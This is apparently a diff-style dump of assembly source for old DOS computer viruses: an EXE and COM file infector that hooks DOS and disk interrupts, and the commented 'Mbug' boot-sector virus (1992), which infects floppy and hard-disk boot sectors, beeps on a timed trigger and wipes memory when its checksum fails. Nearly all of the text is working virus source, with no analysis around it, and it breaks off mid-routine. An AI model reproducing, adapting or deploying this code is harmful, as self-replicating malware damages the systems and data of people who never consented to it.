||||
|
||||
L0A5B: MOV CX,[SI+16H] ; CS SEGMENT
|
||||
|
||||
ADD CX,[SI+08H] ; + HEADER SIZE
|
||||
|
||||
MOV AX,0010H ; PARA -> BYTES
|
||||
MUL CX
|
||||
|
||||
ADD AX,[SI+14H] ; DX:AX = START FILE
|
||||
ADC DX,+00H
|
||||
|
||||
PUSH DX ; SAVE START FILE OFFSET
|
||||
PUSH AX
|
||||
|
||||
MOV AX,4202H ; MOVE FP TO END FILE
|
||||
XOR CX,CX ; (GET FILE SIZE)
|
||||
XOR DX,DX
|
||||
CALL L0B7F
|
||||
|
||||
CMP DX,+00H ; SIZE < 1277 ???
|
||||
JNE L0A88
|
||||
CMP AX,04FDH
|
||||
NOP
|
||||
JNB L0A88
|
||||
|
||||
POP AX ; QUIT
|
||||
POP DX
|
||||
JMP L0B0D
|
||||
|
||||
L0A88: MOV DI,AX ; SAVE FILE SIZE
|
||||
MOV BP,DX
|
||||
|
||||
POP CX ; CALC CODE SIZE
|
||||
SUB AX,CX
|
||||
POP CX
|
||||
SBB DX,CX
|
||||
|
||||
CMP WORD PTR [SI+0CH],+00H ; HIGH FILE ?
|
||||
JE L0B0D
|
||||
|
||||
CMP DX,+00H ; CODE SIZE = 1277
|
||||
JNE L0AA3
|
||||
CMP AX,04FDH
|
||||
NOP
|
||||
JE L0B0D
|
||||
|
||||
L0AA3: MOV DX,BP ; FILE SIZE
|
||||
MOV AX,DI
|
||||
|
||||
PUSH DX ; SAVE FILE SIZE
|
||||
PUSH AX
|
||||
|
||||
ADD AX,04FDH ; CALC NEW FILE SIZE
|
||||
NOP
|
||||
ADC DX,+00H
|
||||
|
||||
MOV CX,0200H ; CALC FILE SIZE FOR HEADER
|
||||
DIV CX
|
||||
|
||||
LES DI,DWORD PTR [SI+02H] ; SAVE OLD CODE SIZE
|
||||
MOV CS:[0125H],DI
|
||||
MOV CS:[0127H],ES
|
||||
|
||||
MOV [SI+02H],DX ; SAVE NEW CODE SIZE
|
||||
CMP DX,+00H
|
||||
JE L0ACB
|
||||
INC AX
|
||||
L0ACB: MOV [SI+04H],AX
|
||||
|
||||
POP AX ; RESTORE ORIGINAL FILE SIZE
|
||||
POP DX
|
||||
|
||||
CALL L0B0E ; ???
|
||||
|
||||
SUB AX,[SI+08H]
|
||||
|
||||
LES DI,DWORD PTR [SI+14H] ; SAVE OLD CS:IP
|
||||
MOV DS:[011BH],DI
|
||||
MOV DS:[011DH],ES
|
||||
|
||||
MOV [SI+14H],DX ; SET NEW CS:IP
|
||||
MOV [SI+16H],AX
|
||||
|
||||
MOV WORD PTR DS:[011FH],AX ; SAVE OFFSET
|
||||
|
||||
MOV AX,4202H ; MOVE FP TO END FILE
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
CALL L0B7F
|
||||
|
||||
CALL L0B1F ; WRITE CODE
|
||||
JB L0B0D
|
||||
|
||||
MOV AX,4200H ; MOVE FP TO BEGIN FILE
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
CALL L0B7F
|
||||
|
||||
MOV AH,40H ; WRITE HEADER
|
||||
MOV DX,SI
|
||||
MOV CX,0018H
|
||||
CALL L0B7F
|
||||
|
||||
L0B0D: RET
|
||||
|
||||
L0B0E: MOV CX,0004H ; ???
|
||||
MOV DI,AX
|
||||
AND DI,+0FH
|
||||
L0B16: SHR DX,1
|
||||
RCR AX,1
|
||||
LOOP L0B16
|
||||
MOV DX,DI
|
||||
RET
|
||||
|
||||
L0B1F: MOV AH,40H ; WRITE VIRUS CODE
|
||||
MOV CX,04FDH ; SIZE = 1277
|
||||
NOP
|
||||
MOV DX,0100H
|
||||
JMP SHORT L0B7F
|
||||
NOP
|
||||
|
||||
|
||||
; ******** INFECT 'COM' PROGRAM ********
|
||||
|
||||
L0B2B: MOV AX,4202H ; MOVE FP TO END FILE
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
CALL L0B7F
|
||||
|
||||
CMP AX,04FDH ; FILE SIZE < 1277 ?
|
||||
NOP
|
||||
JB L0B7E
|
||||
|
||||
CMP AX,0FAE2H ; FILE SIZE > 64226
|
||||
NOP
|
||||
JNB L0B7E
|
||||
|
||||
PUSH AX ; SAVE SIZE
|
||||
|
||||
CMP BYTE PTR [SI],0E9H ; 'JUMP' CODE ?
|
||||
JNE L0B53
|
||||
|
||||
SUB AX,0500H ; CALC OFFSET FOR VIRUS
|
||||
NOP
|
||||
|
||||
CMP AX,[SI+01H] ; FILE IS INFECTET ?
|
||||
JNE L0B53
|
||||
|
||||
POP AX
|
||||
JMP SHORT L0B7E
|
||||
|
||||
L0B53: CALL L0B1F ; WRITE VIRUS CODE
|
||||
JNB L0B5B
|
||||
|
||||
POP AX ; ERROR
|
||||
JMP SHORT L0B7E
|
||||
|
||||
L0B5B: MOV AX,4200H ; MOVE FP TO BEGIN FILE
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
CALL L0B7F
|
||||
|
||||
POP AX ; CALC OFFSET FOR JUMP
|
||||
SUB AX,0003H
|
||||
|
||||
MOV DX,011BH ; DATA ARREA
|
||||
MOV SI,DX
|
||||
|
||||
MOV BYTE PTR CS:[SI],0E9H ; SAVE JUMP CODE TO ARREA
|
||||
MOV CS:[SI+01H],AX
|
||||
|
||||
MOV AH,40H ; WRITE FIRST 3 BYTES
|
||||
MOV CX,0003H
|
||||
CALL L0B7F
|
||||
|
||||
L0B7E: RET
|
||||
|
||||
|
||||
; ******** VIRUS INT21 ********
|
||||
|
||||
L0B7F: PUSHF
|
||||
CALL DWORD PTR CS:[0129H]
|
||||
RET
|
||||
|
||||
; ******** SET NEW INT24 & INT13 ********
|
||||
|
||||
L0B86: PUSH AX ; SAVE REGISTERS
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
|
||||
XOR AX,AX ; SEGMENT AT VECTOR TABLE
|
||||
PUSH AX
|
||||
POP DS
|
||||
|
||||
CLI
|
||||
|
||||
LES AX,DWORD PTR DS:[0090H] ; \
|
||||
MOV WORD PTR CS:[012DH],AX ; > GET ADDRES INT24
|
||||
MOV CS:[012FH],ES ; /
|
||||
|
||||
MOV AX,0418H ; \
|
||||
MOV WORD PTR DS:[0090H],AX ; > SET NEW INT24
|
||||
MOV DS:[0092H],CS ; /
|
||||
|
||||
LES AX,DWORD PTR DS:[004CH] ; \
|
||||
MOV WORD PTR CS:[0135H],AX ; > GET ADDRES INT13
|
||||
MOV CS:[0137H],ES ; /
|
||||
|
||||
LES AX,DWORD PTR CS:[0131H] ; \
|
||||
MOV WORD PTR DS:[004CH],AX ; > SET NEW INT13
|
||||
MOV DS:[004EH],ES ; /
|
||||
|
||||
STI
|
||||
|
||||
POP ES ; RESTORE REGISTERS
|
||||
POP DS
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; ******** RESTORE INT24 & INT13 ********
|
||||
|
||||
L0BC3: PUSH AX
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
XOR AX,AX
|
||||
PUSH AX
|
||||
POP DS
|
||||
|
||||
CLI
|
||||
|
||||
LES AX,DWORD PTR CS:[012DH] ; \
|
||||
MOV WORD PTR DS:[0090H],AX ; > RESTORE INT24
|
||||
MOV DS:[0092H],ES ; /
|
||||
|
||||
LES AX,DWORD PTR CS:[0135H] ; \
|
||||
MOV WORD PTR DS:[004CH],AX ; > RESTORE INT13
|
||||
MOV DS:[004EH],ES ; /
|
||||
|
||||
STI
|
||||
|
||||
POP ES
|
||||
POP DS
|
||||
POP AX
|
||||
RET
|
||||
|
||||
|
||||
; ******** INT13 DRIVER ********
|
||||
|
||||
L0BE8: TEST AH,80H ; HARD DISK ?
|
||||
JE L0BF2
|
||||
|
||||
JMP DWORD PTR CS:[012DH] ; YES.
|
||||
|
||||
L0BF2: ADD SP,+06H ; POP REGISTERS
|
||||
L0BF5: DB 'X[YZ^_]'
|
||||
POP DS
|
||||
POP ES
|
||||
PUSH BP
|
||||
MOV BP,SP
|
||||
OR WORD PTR [BP+06H],+01H ; FLAG C=1
|
||||
POP BP
|
||||
IRET
|
||||
|
||||
|
||||
; ******** SOUOND DRIVER *********
|
||||
|
||||
L0C07: MOV AL,0B6H
|
||||
OUT 43H,AL
|
||||
MOV AX,0064H
|
||||
OUT 42H,AL
|
||||
MOV AL,AH
|
||||
OUT 42H,AL
|
||||
IN AL,61H
|
||||
OR AL,03H
|
||||
OUT 61H,AL
|
||||
RET
|
||||
|
||||
|
||||
; ******** SHOW DRIVER ********
|
||||
|
||||
L0C1B: PUSH AX ; SAVE REGISTERS
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DS
|
||||
|
||||
XOR AX,AX ; DOS ARREA SEGMENT
|
||||
PUSH AX
|
||||
POP DS
|
||||
|
||||
MOV AX,WORD PTR DS:[046CH] ; GET TIME
|
||||
MOV DX,DS:[046EH]
|
||||
|
||||
MOV CX,0FFFFH ; DIVIDE BY 65535
|
||||
DIV CX ; 1 HOUR - 65535 TICKS
|
||||
|
||||
CMP AX,000AH ; TEN HOUR ?
|
||||
JNE L0C37
|
||||
|
||||
CALL L0C07 ; SHOW
|
||||
|
||||
L0C37: POP DS ; RESTORE REGISTERS
|
||||
POP DX
|
||||
POP CX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
L0C3C: MOV DX,0010H ; DX:AX = AX * 16
|
||||
MUL DX
|
||||
RET
|
||||
|
||||
|
||||
; CLEAR REGISTERS ????
|
||||
|
||||
L0C42: XOR AX,AX
|
||||
XOR BX,BX
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
XOR SI,SI
|
||||
XOR DI,DI
|
||||
XOR BP,BP
|
||||
RET
|
||||
|
||||
L0C51: PUSH DS
|
||||
|
||||
CALL L0C55 ; PUSH ADDRES
|
||||
|
||||
L0C55: MOV AX,4B59H ; I'M IN MEMORY ?
|
||||
INT 21H
|
||||
L0C5A: JB L0C5F ; NO. INSERT CODE
|
||||
|
||||
JMP L0D87 ; START FILE
|
||||
|
||||
L0C5F: POP SI ; POP MY ADDRESS
|
||||
PUSH SI
|
||||
|
||||
MOV DI,SI
|
||||
|
||||
XOR AX,AX ; DS = VECTOR TABLE SEGMENT
|
||||
PUSH AX
|
||||
POP DS
|
||||
|
||||
LES AX,DWORD PTR DS:[004CH] ; GET INT13 ADDRESS
|
||||
MOV CS:[SI+0FCACH],AX
|
||||
MOV CS:[SI+0FCAEH],ES
|
||||
|
||||
LES BX,DWORD PTR DS:[0084H] ; GET INT21 ADDRESS
|
||||
MOV CS:[DI+0FCA4H],BX
|
||||
MOV CS:[DI+0FCA6H],ES
|
||||
|
||||
MOV AX,WORD PTR DS:[0102H] ; SEGMENT OF INT40
|
||||
CMP AX,0F000H ; IN ROM BIOS ?
|
||||
JNE L0CF4 ; NO. NOT HARD DISK IN SYSTEM
|
||||
|
||||
MOV DL,80H
|
||||
|
||||
MOV AX,WORD PTR DS:[0106H] ; SEGMENT OF INT41
|
||||
|
||||
CMP AX,0F000H ; ROM BIOS ?
|
||||
JE L0CB1
|
||||
|
||||
CMP AH,0C8H ; < ROM EXTERNAL ARREA
|
||||
JB L0CF4
|
||||
|
||||
CMP AH,0F4H ; > ROM EXTERNAL ARREA
|
||||
JNB L0CF4
|
||||
|
||||
TEST AL,7FH
|
||||
JNE L0CF4
|
||||
|
||||
MOV DS,AX
|
||||
|
||||
CMP WORD PTR DS:[0000H],0AA55H ; BEGIN ROM MODUL ?
|
||||
JNE L0CF4
|
||||
|
||||
MOV DL,DS:[0002H] ; SCANING FOR ORIGINAL INT13
|
||||
L0CB1: MOV DS,AX ; ADDRESS
|
||||
XOR DH,DH
|
||||
MOV CL,09H
|
||||
SHL DX,CL
|
||||
MOV CX,DX
|
||||
XOR SI,SI
|
||||
L0CBD: LODSW
|
||||
CMP AX,0FA80H
|
||||
JNE L0CCB
|
||||
LODSW
|
||||
CMP AX,7380H
|
||||
JE L0CD6
|
||||
JNE L0CE0
|
||||
L0CCB: CMP AX,0C2F6H
|
||||
JNE L0CE2
|
||||
LODSW
|
||||
CMP AX,7580H
|
||||
JNE L0CE0
|
||||
L0CD6: INC SI
|
||||
LODSW
|
||||
CMP AX,40CDH
|
||||
JE L0CE7
|
||||
SUB SI,+03H
|
||||
L0CE0: DEC SI
|
||||
DEC SI
|
||||
L0CE2: DEC SI
|
||||
LOOP L0CBD
|
||||
JMP SHORT L0CF4
|
||||
L0CE7: SUB SI,+07H
|
||||
MOV CS:[DI+0FCACH],SI
|
||||
MOV CS:[DI+0FCAEH],DS
|
||||
|
||||
L0CF4: MOV AH,62H ; TAKE 'PSP' SEGMENT
|
||||
INT 21H
|
||||
|
||||
L0CF8: MOV ES,BX ; FREE MY BLOCK
|
||||
MOV AH,49H
|
||||
INT 21H
|
||||
|
||||
L0CFE: MOV BX,0FFFFH ; GET BLOCK SIZE
|
||||
MOV AH,48H
|
||||
INT 21H
|
||||
|
||||
L0D05: SUB BX,0051H ; FREE SPACE ?
|
||||
JB L0D87
|
||||
|
||||
MOV CX,ES ; CALC NEW BLOCK SIZE
|
||||
STC
|
||||
ADC CX,BX
|
||||
|
||||
MOV AH,4AH ; SET NEW SIZE
|
||||
INT 21H
|
||||
|
||||
L0D14: MOV BX,0050H
|
||||
NOP
|
||||
STC
|
||||
SBB ES:[0002H],BX
|
||||
PUSH ES
|
||||
MOV ES,CX
|
||||
MOV AH,4AH
|
||||
INT 21H
|
||||
|
||||
L0D25: MOV AX,ES
|
||||
DEC AX
|
||||
MOV DS,AX
|
||||
MOV WORD PTR DS:[0001H],0008H
|
||||
CALL L0C3C
|
||||
MOV BX,AX
|
||||
MOV CX,DX
|
||||
POP DS
|
||||
MOV AX,DS
|
||||
CALL L0C3C
|
||||
ADD AX,DS:[0006H]
|
||||
ADC DX,+00H
|
||||
SUB AX,BX
|
||||
SBB DX,CX
|
||||
JB L0D4E
|
||||
SUB DS:[0006H],AX
|
||||
L0D4E: MOV SI,DI
|
||||
XOR DI,DI
|
||||
PUSH CS
|
||||
POP DS
|
||||
SUB SI,0385H
|
||||
MOV CX,04FDH
|
||||
NOP
|
||||
INC CX
|
||||
REPZ MOVSB
|
||||
MOV AH,62H
|
||||
INT 21H
|
||||
|
||||
L0D63: DEC BX
|
||||
MOV DS,BX
|
||||
MOV BYTE PTR DS:[0000H],5AH
|
||||
MOV DX,01B9H
|
||||
XOR AX,AX
|
||||
PUSH AX
|
||||
POP DS
|
||||
MOV AX,ES
|
||||
SUB AX,0010H
|
||||
MOV ES,AX
|
||||
CLI
|
||||
MOV DS:[0084H],DX
|
||||
MOV DS:[0086H],ES
|
||||
STI
|
||||
DEC BYTE PTR DS:[047BH]
|
||||
L0D87: POP SI
|
||||
CMP WORD PTR CS:[SI+0FC7EH],5A4DH
|
||||
JNE L0DAE
|
||||
POP DS
|
||||
MOV AX,CS:[SI+0FC9AH]
|
||||
MOV BX,CS:[SI+0FC98H]
|
||||
PUSH CS
|
||||
POP CX
|
||||
SUB CX,AX
|
||||
ADD CX,BX
|
||||
PUSH CX
|
||||
PUSH WORD PTR CS:[SI+0FC96H]
|
||||
PUSH DS
|
||||
POP ES
|
||||
CALL L0C42
|
||||
RETF
|
||||
|
||||
L0DAE: POP AX
|
||||
MOV AX,CS:[SI+0FC7EH]
|
||||
MOV WORD PTR CS:[0100H],AX
|
||||
MOV AX,CS:[SI+0FC80H]
|
||||
MOV WORD PTR CS:[0102H],AX
|
||||
MOV AX,0100H
|
||||
PUSH AX
|
||||
PUSH CS
|
||||
POP DS
|
||||
PUSH DS
|
||||
POP ES
|
||||
CALL L0C42
|
||||
RET
|
||||
|
||||
L0DCD: DW 0000H
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,890 @@
|
|||
; --------------------------------------------------------------------------
|
||||
; Virus Mbug Sourced by Roman_S (c) jan 1992
|
||||
; --------------------------------------------------------------------------
|
||||
; Ulozenie BOOT Sect 7, Head 0, stopa 9 (360 Kb)
|
||||
; Virus Sec 8,9 Hed 0, stopa 9
|
||||
; Sec 0 Head 1, stopa 9
|
||||
; Po preklade TASM vznika original !!!
|
||||
; --------------------------------------------------------------------------
|
||||
NOSMART
|
||||
data_1e equ 230h
|
||||
data_2e equ 6Ch
|
||||
data_3e equ 0Dh
|
||||
data_4e equ 0Eh
|
||||
data_5e equ 11h
|
||||
data_6e equ 13h
|
||||
data_7e equ 15h
|
||||
data_8e equ 16h
|
||||
data_9e equ 18h
|
||||
data_10e equ 1Ah
|
||||
ram_top equ 413h ;Vrchol RAM
|
||||
buffer_boot equ 0dd1h
|
||||
|
||||
mbug segment byte public
|
||||
assume cs:mbug, ds:mbug
|
||||
|
||||
org 100h
|
||||
start: cli ;Disable interrupts
|
||||
jmp run_virus
|
||||
B_name db 'IBM 3.3'
|
||||
B_bytes_sect dw 200h
|
||||
B_clust_size db 2
|
||||
B_reserved dw 1
|
||||
B_count_fat db 2
|
||||
B_root_size dw 70h
|
||||
B_total_sect dw 2D0h
|
||||
B_media_desc db 0FDh
|
||||
B_fat_size dw 2
|
||||
B_track_sect dw 9
|
||||
B_head_cnt dw 2
|
||||
dw 0
|
||||
db 6 dup (0)
|
||||
db 0Fh, 0, 0, 0, 0, 1
|
||||
db 0, 0, 0, 0, 0, 12h
|
||||
db 0, 0, 0, 0, 1, 0
|
||||
db 0FAh, 33h, 0C0h, 8Eh, 0D0h, 0BCh
|
||||
db 0, 7Ch, 16h, 7
|
||||
chcksum dw 4F3Fh ;Kontrolny sucet casti vira
|
||||
drive_head dw 0 ;Ulozenie virusu na disku
|
||||
stopa_sect dw 907h
|
||||
pocet_hlav db 2
|
||||
sect_inc_track db 0Ah
|
||||
pom_ax dw 200h
|
||||
pom_bx dw 8A00h
|
||||
pom_cx dw 905h
|
||||
pom_dx dw 100h
|
||||
db 0B6h, 0D9h, 0A1h, 49h, 0A6h, 55h
|
||||
db 0A6h, 0ECh, 0A7h, 0CCh, 0A5h, 53h
|
||||
db 0A6h, 6Eh, 0A1h, 41h, 0A7h, 0DAh
|
||||
db 0ACh, 4Fh, 0A4h, 40h, 0B0h, 0A6h
|
||||
db 0B5h, 0BDh, 0A8h, 7Dh, 0AAh, 0BAh
|
||||
db 0A4h, 70h, 0AFh, 66h, 0ACh, 72h
|
||||
db 0A1h, 41h, 0A7h, 0DAh, 0A4h, 0A3h
|
||||
db 0B7h, 7Ch, 0AFh, 7Dh, 0C3h, 61h
|
||||
db 0B1h, 7Ah, 0BAh, 0CFh, 0A4h, 0F9h
|
||||
db 0A4h, 57h, 0AAh, 0BAh, 0A5h, 0F4h
|
||||
db 0A6h, 0F3h, 0B8h, 0EAh, 0AEh, 0C6h
|
||||
db 0A1h, 41h, 0A5h, 75h, 0B0h, 0B8h
|
||||
db 0A6h, 0D3h, 27h, 0A7h, 0ECh, 0A8h
|
||||
db 67h, 27h, 0A4h, 40h, 0A4h, 55h
|
||||
db 0A1h, 41h, 0A5h, 0D1h, 0A9h, 0F3h
|
||||
db 0B5h, 4Ch, 0ACh, 72h, 0A5h, 42h
|
||||
db 0B9h, 0EFh, 0BEh, 0F7h, 0C5h, 0E9h
|
||||
db 0B5h, 4Ch, 0AEh, 60h, 0B7h, 71h
|
||||
db 0BDh, 0D0h, 0A6h, 77h, 0A4h, 0DFh
|
||||
db 0A8h, 0CFh, 0A5h, 0CEh, 0A1h, 43h
|
||||
db 0C1h, 0C2h, 0C1h, 0C2h, 0A1h, 49h
|
||||
db 0A1h
|
||||
db 49h
|
||||
|
||||
; -------------------------------------------------------------------------
|
||||
run_virus: mov ax,cs ;Set registers & stack
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
mov ss,ax
|
||||
mov sp,0F000h
|
||||
sti ;Enable interrupts
|
||||
call test_chcksum
|
||||
mov ax,ds:[B_track_sect+7c00h-100h]
|
||||
inc al
|
||||
mov ds:[sect_inc_track+7c00h-100h],al
|
||||
mov ax,ds:[B_head_cnt+7c00h-100h]
|
||||
mov ds:[pocet_hlav+7c00h-100h],al
|
||||
mov dx,ds:[drive_head+7c00h-100h]
|
||||
mov cx,ds:[stopa_sect+7c00h-100h]
|
||||
call next_sect1 ;Posun CX,DX na dalsi
|
||||
mov ax,207h ;Read 7 sectors
|
||||
mov bx,7E00h ;Buffer
|
||||
call read_vir2 ;Citaj druhu cast virusu
|
||||
jnc read_ok
|
||||
int 18h ;ROM basic
|
||||
|
||||
read_ok: mov ax,ds:ram_top ;Memory TOP
|
||||
sub ax,4 ;Reserved 4 Kb
|
||||
mov ds:ram_top,ax ;Set new value
|
||||
mov cl,6 ;Convert to segment addres
|
||||
shl ax,cl
|
||||
mov es,ax ;Set ES to nex segment memory
|
||||
mov si,7C00h ;Zaciatok virusu
|
||||
xor di,di ;Na zaciatok memory bloku
|
||||
mov cx,800h
|
||||
cld
|
||||
rep movsw ;Copy virus to MEM TOP
|
||||
push es
|
||||
mov ax,200h ;Push far Continue
|
||||
push ax
|
||||
retf ;Jmp to Continue
|
||||
|
||||
; --------------------------------------------------------------------------
|
||||
; Nacitanie zvysnych sektorov virusu
|
||||
; Vstupuje AH - command BX - adresa pre data
|
||||
; AL - pocet sektorov
|
||||
; --------------------------------------------------------------------------
|
||||
read_vir2: push ax ;Backup registers
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov cs:[pom_ax+7c00h-100h],ax
|
||||
mov cs:[pom_bx+7c00h-100h],bx
|
||||
mov cs:[pom_cx+7c00h-100h],cx
|
||||
mov cs:[pom_dx+7c00h-100h],dx
|
||||
|
||||
dalsi: mov cx,4 ;Count for error
|
||||
read_again: push cx ;Backup
|
||||
mov ah,byte ptr cs:[pom_ax+7c00h-100h+1] ;Command
|
||||
mov al,1 ;1 sect
|
||||
mov bx,cs:[pom_bx+7c00h-100h]
|
||||
mov cx,cs:[pom_cx+7c00h-100h]
|
||||
mov dx,cs:[pom_dx+7c00h-100h]
|
||||
int 13h ;Read 1 sector to BX
|
||||
pop cx ;Restore counter error
|
||||
jnc read_ok1
|
||||
xor ah,ah
|
||||
int 13h ;Reset disk
|
||||
loop read_again ;Dalsi pokus
|
||||
stc ;Nepodarilo sa
|
||||
jmp short return
|
||||
|
||||
read_ok1: dec byte ptr cs:[pom_ax+7c00h-100h] ;Zmensi pocet sektorov
|
||||
cmp byte ptr cs:[pom_ax+7c00h-100h],0 ;Toto bol posledny ?
|
||||
je return
|
||||
mov cx,cs:[pom_cx+7c00h-100h]
|
||||
mov dx,cs:[pom_dx+7c00h-100h]
|
||||
call next_sect1 ;Posun na dalsi sect
|
||||
mov cs:[pom_cx+7c00h-100h],cx
|
||||
mov cs:[pom_dx+7c00h-100h],dx
|
||||
mov bx,cs:[pom_bx+7c00h-100h] ;Buffer
|
||||
add bx,200h ;Posun sa o 1 sector
|
||||
mov cs:[pom_bx+7c00h-100h],bx
|
||||
jmp short dalsi ;Citaj dalsi sektor
|
||||
|
||||
return: pop dx ;Restore registers
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; Rutina posunie CX,DX na dalsi sektor
|
||||
; ---------------------------------------------------------------------------
|
||||
next_sect1: push ax
|
||||
inc cl ;Next sector
|
||||
mov al,cl
|
||||
and al,3Fh
|
||||
cmp al,cs:[sect_inc_track+7c00h-100h] ;Prekroceny posledny?
|
||||
jb next_ok ;Jump if no
|
||||
and cl,0C0h ;Znuluj ho
|
||||
inc cl ;Nastav 1 a daj dalsiu hlavu
|
||||
inc dh
|
||||
cmp dh,cs:[pocet_hlav+7c00h-100h] ;Posledna hlava ?
|
||||
jb next_ok ;Jump if no
|
||||
xor dh,dh ;Nastav prvu hlavu
|
||||
add ch,1 ;Posun na dalsiu stopu
|
||||
jnc next_ok
|
||||
add cl,40h
|
||||
jnc next_ok
|
||||
or cl,0C0h
|
||||
next_ok: pop ax
|
||||
retn
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
; Prevedie kontrolnu sumu casti virusu a ak nesedi premaze pamat
|
||||
;--------------------------------------------------------------------------
|
||||
test_chcksum: mov si,7C50h
|
||||
mov cx,7CD0h
|
||||
sub cx,si
|
||||
xor ah,ah
|
||||
xor dx,dx ;Suma = 0
|
||||
cld
|
||||
add_next: lodsb
|
||||
add dx,ax ;Suma = Suma + AX
|
||||
loop add_next
|
||||
|
||||
cmp dx,ds:[chcksum+7c00h-100h]
|
||||
je chcksum_ok
|
||||
xor ax,ax ;Chyba -> Clear RAM 0-8000h
|
||||
mov es,ax
|
||||
xor di,di
|
||||
mov cx,8000h
|
||||
kill_next: stosw
|
||||
loop kill_next
|
||||
chcksum_ok: retn
|
||||
|
||||
db 15 dup (0)
|
||||
db 55h,0AAh ;Flag end sector BOOT
|
||||
|
||||
; ----------------------------------------------------------------------------
|
||||
; Pokracovanie virusu cez RETF (Dalsie sektory)
|
||||
; ----------------------------------------------------------------------------
|
||||
continute_line: jmp short continue_lin
|
||||
db 3, 0, 0Ah, 0, 8, 4
|
||||
db 0, 0, 20h, 0FFh, 0Ah, 0
|
||||
db 1, 0
|
||||
db 'MusicBug v1.06. MacroSoft Corp. '
|
||||
|
||||
old_13: dw 0A189h,0F000h ;Povodny INT 13h
|
||||
db 0
|
||||
|
||||
continue_lin: xor ax,ax ;Set AX,DS,ES = 0
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
mov cx,4 ;Set error counter
|
||||
|
||||
again_origin: push cx ;Backup
|
||||
mov ax,201h ;Read 1 sector
|
||||
mov bx,7C00h ;To original BOOT
|
||||
mov cx,cs:[stopa_sect-100h] ;Ulozenie povodneho BOOTu
|
||||
mov dx,cs:[drive_head-100h]
|
||||
int 13h ;Read original BOOT sector
|
||||
pop cx ;Restore
|
||||
jnc old_boot_ok
|
||||
xor ah,ah
|
||||
int 13h ;Reset disk
|
||||
loop again_origin
|
||||
int 18h ;ROM basic
|
||||
|
||||
old_boot_ok: call redef_13
|
||||
mov cx,cs:[year-100h] ;Vyber cas nakazenia
|
||||
mov dh,cs:[month-100h]
|
||||
call year2month ;Preved na mesiace
|
||||
mov cs:[pom_months-100h],ax
|
||||
mov byte ptr cs:[flag_action-100h],0 ;Znuluj akciu
|
||||
nop
|
||||
mov ah,4
|
||||
int 1Ah ;Read date cx=year, dx=mon/day
|
||||
or dx,dx ;Je tam CMOS ?
|
||||
jz no_cmos
|
||||
call year2month ;Preved na mesiace
|
||||
sub ax,4 ;Pridaj 4 mesiace
|
||||
cmp ax,cs:[pom_months-100h] ;Uz ubehli od nakazenia ?
|
||||
jb no_cmos
|
||||
inc cs:[flag_action-100h] ;Ano nastav flag action
|
||||
|
||||
no_cmos: push es
|
||||
mov ax,7C00h ;Push 0000:7C00
|
||||
push ax
|
||||
retf ;Jump far to original BOOT
|
||||
|
||||
; ------------------------------------------------------------------------
|
||||
; New interrupt 13h - DISK I/O
|
||||
; ------------------------------------------------------------------------
|
||||
new_13: sti ;Enable
|
||||
pushf ;Backup registers
|
||||
push es
|
||||
push ds
|
||||
push di
|
||||
push si
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
|
||||
call timeout ;Testuj casovu prodlevu
|
||||
jc ret_from_13 ;Ochod ak neuplynula 1 sec.
|
||||
cmp dl,2 ;Disk A:, B: ?
|
||||
jb disk_ok ;Jump if YES
|
||||
cmp dl,80h ;Hardisk C: ?
|
||||
jne read_boot_err ;Jump if no
|
||||
|
||||
disk_ok: mov si,cs ;Disk A: B: or C:
|
||||
mov ds,si
|
||||
mov es,si ;Set DS,ES to my segment
|
||||
mov cs:[drive_number-100h],dl ;Backup drive
|
||||
call read_boot ;Nacitaj boot sektor
|
||||
jc read_boot_err
|
||||
call sub_1
|
||||
jmp short ret_from_13
|
||||
|
||||
read_boot_err: cmp byte ptr cs:[flag_action-100h],1 ;Ideme vyhravat ?
|
||||
jne ret_from_13
|
||||
call sound ;Zacvrlikaj
|
||||
ret_from_13: pop dx ;Restore registers
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop si
|
||||
pop di
|
||||
pop ds
|
||||
pop es
|
||||
popf
|
||||
jmp dword ptr cs:[230h]
|
||||
|
||||
; ------------------------------------------------------------------------
|
||||
;
|
||||
; ------------------------------------------------------------------------
|
||||
sub_1: call sub_2
|
||||
mov al,cs:data_54 ; (727D:0DE6=0F6h)
|
||||
cmp al,0FDh
|
||||
je loc_6
|
||||
cmp al,0F9h
|
||||
je loc_6
|
||||
cmp al,0F8h
|
||||
jne loc_ret_8
|
||||
call sub_4
|
||||
jnc loc_7
|
||||
retn
|
||||
loc_6: call sub_3
|
||||
jc loc_ret_8
|
||||
loc_7: call sub_6
|
||||
loc_ret_8: retn
|
||||
|
||||
; ------------------------------------------------------------------------
|
||||
;
|
||||
; ------------------------------------------------------------------------
|
||||
sub_2: mov ax,cs:data_55 ; (727D:0DE7=0F6F6h)
|
||||
mov cs:7b7h,ax ; (727D:07B7=75AAh)
|
||||
xor bh,bh ; Zero register
|
||||
mov bl,cs:data_51 ; (727D:0DE1=0F6h)
|
||||
mul bx ; dx:ax = reg * ax
|
||||
add ax,cs:data_50 ; (727D:0DDF=0F6F6h)
|
||||
mov bx,cs:data_52 ; (727D:0DE2=0F6F6h)
|
||||
shr bx,1 ; Shift w/zeros fill
|
||||
shr bx,1 ; Shift w/zeros fill
|
||||
shr bx,1 ; Shift w/zeros fill
|
||||
shr bx,1 ; Shift w/zeros fill
|
||||
add ax,bx
|
||||
mov cs:7b5h,ax ; (727D:07B5=550Fh)
|
||||
mov al,cs:data_56 ; (727D:0DE9=0F6h)
|
||||
inc al
|
||||
mov cs:7beh,al ; (727D:07BE=0Dh)
|
||||
mov bl,cs:data_57 ; (727D:0DEB=0F6h)
|
||||
